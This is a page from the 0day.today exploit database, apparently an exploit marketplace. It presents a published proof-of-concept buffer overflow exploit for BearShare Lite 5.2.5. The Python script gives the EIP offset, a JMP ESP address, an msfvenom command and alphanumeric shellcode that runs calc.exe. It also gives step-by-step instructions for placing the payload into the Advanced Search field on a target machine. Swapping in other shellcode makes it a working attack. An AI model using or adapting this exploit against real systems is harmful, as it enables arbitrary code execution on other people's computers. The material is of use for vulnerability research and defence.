0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
BearShare Lite 5.2.5 - (Advanced Search) Buffer Overflow Exploit
# Title: BearShare Lite 5.2.5 - 'Advanced Search'Buffer Overflow in (PoC) # Author: Christian Vierschilling # Vendor Homepage: http://www.bearshareofficial.com/ # Software Link: http://www.oldversion.com.de/windows/bearshare-lite-5-2-5 # Versions: 5.1.0 - 5.2.5 # Tested on: Windows 10 x64 EN/DE # CVE: NA # --- EXPLOTATION INSTRUCTIONS --- # # 1. Adjust the values for "jmp_esp" and "shellcode" if needed # 2. Run the script to generate a file pwn.txt, containing your payload # 3. Open pwn.txt on your target (!!) (e.g. in the browser or locally) and copy the contents into the clipboard # 4. Start BearShare, click on "Advanced..." and a new window will pop up. Put the payload from pwn.txt into the field "Keywords:" within the new window. Click on "Search" in this window and your payload will be executed. # --- PAYLOAD CONSTRUCTION --- # #!/usr/bin/python import binascii # Detected the offset for overwriting the EIP register using pattern_create and pattern_offset: [*] Exact match at offset 524 junk1 = 524*"A" # Address for a JMP ESP instruction found in MSVBVM60.DLL using mona.py (You will probably need to adjust this if using another OS, language etc.) # \x66\x06\x05\x35 jmp_esp = binascii.unhexlify('35050666') # Using another 4 bytes to align the stack for clean shellcode execution junk2 = 4*"B" # As we are limited to only being able to insert alphanumeric characters, we'll create an appropriate shellcode using msfvenom. Copy the output off the following command into the variable "shellcode" below: # msfvenom -p windows/exec cmd=calc.exe BufferRegister=esp -e x86/alpha_mixed shellcode = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylm8k2s0C0ePsPmYKUFQKpu4nk2ptpLKf26lLK3bTTNk1bexVoH7aZWVuaiollUl3QSLtBTlepyQZofmWqZgIrjRqBrwlKRrvpLK3zgLnkbl4Qt8hc3xc1HQv1lK2ya05QkcLK3ytXzCtzg9LKednkvaN6UaioNLzaZotM7qzgvXkPQeJVEScMIhWKQmq4T5xdChnkcha47qYCPfnkFlpKlKaHeLgqjsnk6dLKc1HPlI0Da4FDqKSkE1V9CjcaYoypcoaO0ZlKTRZKnm3msZ7qnmMUX230s05Pbpe8dqNkPoMWkO9EMkHpmenBcfU8MvnuMmMMKO9EelTFQlEZK0Ikm0puWumk1WuCD2PosZ7p1CyoxU3Se1bLbCDn55qhCUuPAA" # assemble payload payload = junk1 + jmp_esp + junk2 + shellcode # write payload into pwn.txt f = open("pwn.txt", 'w') f.write(payload) f.close() # 0day.today [2024-12-25] #